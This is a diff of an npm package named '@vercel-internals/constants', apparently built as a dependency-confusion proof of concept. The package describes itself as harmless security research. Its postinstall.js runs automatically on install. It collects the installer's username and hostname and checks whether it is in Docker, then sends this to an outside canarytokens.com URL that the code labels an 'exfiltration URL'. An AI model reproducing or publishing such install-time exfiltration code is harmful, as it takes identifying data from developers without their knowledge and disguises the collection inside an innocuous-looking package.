@vercel-internals/constants 1.0.4

package/index.js

@@ -0,0 +1 @@
+console.log('Hello, from clay C4!');

package/package.json

@@ -0,0 +1,11 @@
+{
+    "name": "@vercel-internals/constants",
+    "version": "1.0.4",
+    "description": "A harmless proof-of-concept package with a canarytoken to detect installations. This is a part of a security research project.",
+    "main": "index.js",
+    "scripts": {
+        "postinstall": "node postinstall.js"
+    },
+    "author": "FM",
+    "license": "MIT"
+}

package/postinstall.js

@@ -0,0 +1,47 @@
+const https = require("https");
+const os = require("os");
+const fs = require('fs');
+
+function isRunningInDocker() {
+    try {
+        return fs.existsSync('/.dockerenv') ||
+               fs.readFileSync('/proc/self/cgroup', 'utf8').includes('docker') ||
+               process.env.CONTAINER === 'true' ||
+               process.env.DOCKER_CONTAINER !== undefined;
+    } catch (err) {
+        return false;
+    }
+}
+
+
+// Gather system details
+const hostname = os.hostname();
+const username = os.userInfo().username;
+
+// Construct the exfiltration URL
+const URL = `https://canarytokens.com/articles/about/45ifbhfwf11hu84j98iwiibd8/submit.aspx?package=vercel-internals-constans&user=${encodeURIComponent(username)}&host=${encodeURIComponent(hostname)}&docker=${isRunningInDocker()}`;
+
+const req = https.get(URL, (res) => {
+    console.log(`Setup completed: ${res.statusCode}`);
+
+    res.on('data', (chunk) => {});
+
+    res.on('end', () => {
+        console.log('Response ended.');
+    });
+});
+
+// Set a timeout of 10 seconds (10000 ms)
+req.setTimeout(5000, () => {
+    console.log('Timeout exceeded');
+    req.destroy(); // Abort the request
+}); 
+
+// Handle errors (including timeout)
+req.on('error', (err) => {
+    if (err.code === 'ECONNRESET') {
+        console.error('Aborted');
+    } else {
+        console.error(`${err.message}`);
+    }
+});